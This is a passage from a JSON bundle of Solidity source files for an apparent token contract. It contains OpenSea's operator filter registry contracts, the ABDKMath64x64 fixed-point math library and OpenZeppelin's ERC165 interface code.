"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
